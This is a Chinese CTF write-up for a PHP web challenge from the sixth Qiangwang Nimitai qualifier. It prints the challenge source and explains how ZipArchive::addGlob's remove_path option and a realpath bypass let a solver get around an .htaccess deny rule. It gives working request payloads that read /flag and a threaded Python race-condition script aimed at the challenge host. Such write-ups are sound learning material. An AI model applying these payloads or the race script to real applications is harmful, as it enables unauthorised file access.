目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. noumisotuitennnoka(复现)
      1. 2.1.1. 预期解1:让两个文件不在同一个文件夹下
        1. 2.1.1.1. addGlob方法
        2. 2.1.1.2. realpath函数
      2. 2.1.2. 预期解2:删掉.htaccess
      3. 2.1.3. 大概是非预期:条件竞争

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

第六届强网拟态初赛

2023/11/11 CTF线上赛
  |     |   总文章阅读量:

前言

根本不会做呜呜

wp大赏:

W&M | El3ctronic(Vidar+L+CNSS+凌武实验室) | DJB | 星盟 | EDI

Web

noumisotuitennnoka(复现)

addGlob的remove_path特性

<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
    Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';

if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
    die("....");

$jsonDir = $dir . $subdir;
$escapeDir = '/var/www/html' . $subdir; 
$archiveFile = $jsonDir . '/archive.zip';


if($action == 'create'){
    // create jsons/api.json
    @mkdir($jsonDir);
    file_put_contents($jsonDir. '/backdoor.php', $content);
    file_put_contents($jsonDir.'/.htaccess',$htContent);
}
if($action == 'zip'){
    delete($archiveFile);
    // create archive.zip
    $dev_dir = $_GET['dev'] ?? $dir;
    if(realpath($dev_dir) !== $dir)
        die('...');
    $zip = new ZipArchive();
    $zip->open($archiveFile, ZipArchive::CREATE);
    $zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
    $zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
    $zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
    $zip = new ZipArchive();
    $zip->open($archiveFile);
    $zip->extractTo('/');
    $zip->close();
}
if($action == 'clean'){
    if (file_exists($escapeDir))
        delete($escapeDir);
    else
        echo "Failed.(/var/www/html)";
    if (file_exists($jsonDir))
        delete($jsonDir);
    else
        echo "Failed.(/tmp)";
}

function delete($path){
    if(is_file($path))
        @unlink($path);
    elseif (is_dir($path)) 
        @rmdir($path);
}

先审计一下代码,$htContent设置我们不能直接访问backdoor.php

我们可控的参数有action,content,subdir,dev

action参数有create,zip,unzip,clean四种模式

  • create模式下,会在/tmp/$subdir下创建一个目录,分别把$content$htContent的内容写入backdoor.php和.htaccess

  • zip模式下,检测dev参数的实际路径是否与$dir 匹配,创建一个 ZipArchive 对象,并打开 $archiveFile 文件以便写入,

    使用 addGlob 方法将 $jsonDir 目录下的所有文件(包括子目录)和 .htaccess 文件添加到 ZIP 归档文件中,

    同时指定添加路径(即等会解压出来的路径的前一部分)为/var/www/html和移除路径$dev_dir

  • unzip模式下,创建一个 ZipArchive 对象,并打开 $archiveFile 文件以便读取,将 ZIP 归档文件中的内容解压到根目录 /

  • clean模式下,如果 $escapeDir 存在,则删除该目录或文件;如果 $jsonDir 存在,则删除该目录或文件

那么我们要做的就是绕过.htaccess成功读取到backdoor.php的内容

那么题目怎么做呢,先起个本地php环境试试,记得安装一下zip的扩展

apt-get update && apt-get install -y zlib1g-dev && apt-get install -y libzip-dev
docker-php-ext-install zip

把create,zip,unzip三个默认操作都用一遍,确实会在/var/www/html下生成jsons文件夹,里面有.htaccess和backdoor.php

那我们一开始的思路肯定是想办法把.htaccess删掉,

这里的clean模式确实能删除文件,但是

$subdir = $_GET['subdir'] ?? '/jsons';
if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
    die("....");
$escapeDir = '/var/www/html' . $subdir; 

正则匹配长度不能超过10,也就是说最多只能是/.htaccess,绕不过去

预期解1:让两个文件不在同一个文件夹下

换个思路,能删除文件的除了clean模式以外还有zip模式中remove_path' => $dev_dir,这个会排除压缩时加入的文件

$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);

addGlob方法

通过 glob 模式从目录中添加文件

我们直接用题目的代码测试一下

<?php
$htContent = <<<EOT
<Files "backdoor.php">
    Deny from all
</Files>
EOT;
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
@mkdir('/tmp/jsons');
file_put_contents('/tmp/jsons/backdoor.php', $content);
file_put_contents('/tmp/jsons/.htaccess',$htContent);
delete('/tmp/jsons/archive.zip');
$zip = new ZipArchive();
$zip->open('/tmp/jsons/archive.zip', ZipArchive::CREATE);
$zip->addGlob('/tmp/jsons/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => '/tmp']);
$zip->addGlob('/tmp/jsons/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => '/tmp']);
$zip->close();
echo system('cat /tmp/jsons/archive.zip');
function delete($path){
    if(is_file($path))
        @unlink($path);
    elseif (is_dir($path)) 
        @rmdir($path);
}

image-20231207004254603

路径是var/www/html/jsons/backdoor.php,接下来把remove_path去掉看看

image-20231207004327097

此时的路径多了个/tmp变成了var/www/html//tmp/jsons/backdoor.php,可见remove_path会移除zip压缩文件中的对应/tmp/路径部分

但是这个怎么利用呢,我们看一下$dev_dir

   $dir = '/tmp';
$dev_dir = $_GET['dev'] ?? $dir;
   if(realpath($dev_dir) !== $dir)
       die('...');

realpath函数

猜测要在realpath函数上面做文章,本地测试一下:

realpath()返回规范化的绝对路径名,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。

<?php
    $dir = 'C:\Windows';
	$dev_dir = 'C:\Windows\.';
    if(realpath($dev_dir) !== $dir){
        echo realpath($dev_dir);
        echo "yes";
    }else{
        echo "no";
    }
// no

可以发现,我们要是让$dev_dir的值在$dir路径的基础上再多一个/.,解析出的还是原来的路径,于是依旧可以绕过realpath的检测

于是我们可以设置remove_path/tmp/.再次压缩看看

image-20231207004804581

发现排除路径并没有生效,但是我们我们知道.htaccess文件名开头带个.,那如果我们一开始设置$subdir使$jsondir为/tmp/tmp会怎么样?

image-20231207005159038

发现前面依旧是/var/www/html//tmp/tmp/backdoor.php,而后面变成了/var/www/html/p/.htaccess,但是这里为什么是这个路径/p/?我还是不怎么清楚

此时这两个文件就不在同一个文件夹下,从而我们解压之后就可以读取/tmp/tmp/backdoor.php了(注:如果这时候还不能读说明之前测试的时候污染了/tmp这个父文件夹导致存在.htaccess)

所以payload:

?action=create&subdir=/tmp
?action=zip&subdir=/tmp&dev=/tmp/.
?action=unzip&subdir=/tmp

image-20231207011706200


预期解2:删掉.htaccess

设$jsondir为/tmp/f,remove_path为/tmp

image-20231207010608167

接下来我们构造路径/tmp/, 发现remove_path会去掉/tmp后面一个字符

image-20231207010402234

/tmp//会去掉后面两个字符

image-20231207010504783

var/www/html//tmp/f/.htaccess去掉/tmp及后面两个字符之后就变成var/www/html/.htaccess

那么此时解压后.htaccess就在/var/www/html下了,subdir的路径长度刚好为10可以过正则

于是clean删掉.htaccess,然后直接访问backdoor.php即可

payload:

?action=create&subdir=/f
?action=zip&dev=/tmp//&subdir=/f
?action=unzip&dev=/tmp//&subdir=/f
?action=clean&dev=/tmp//&subdir=/.htaccess

image-20231207011541273


大概是非预期:条件竞争

by https://cn-sec.com/archives/2200754.html

竞争create和zip,这样可以去掉访问限制

import threading
import requests

url = "http://web-76898ea9a8.challenge.xctf.org.cn/"
sess = requests.session()
t = threading.Semaphore(80)

def clean():
    while True:
        t.acquire()
        p = {"action": "clean", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.release()

def create():
    while True:
        t.acquire()
        p = {"action": "create", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.release()

def zip():
    while True:
        t.acquire()
        p = {"action": "zip", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.release()

def unzip():
    while True:
        t.acquire()
        p = {"action": "unzip", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.release()

threading.Thread(target=clean).start()
threading.Thread(target=create).start()
threading.Thread(target=create).start()
threading.Thread(target=zip).start()
threading.Thread(target=unzip).start()

while True:
    fh = sess.get(url + "xxx/backdoor.php")
    if fh.status_code != 403:
        print(fh.text)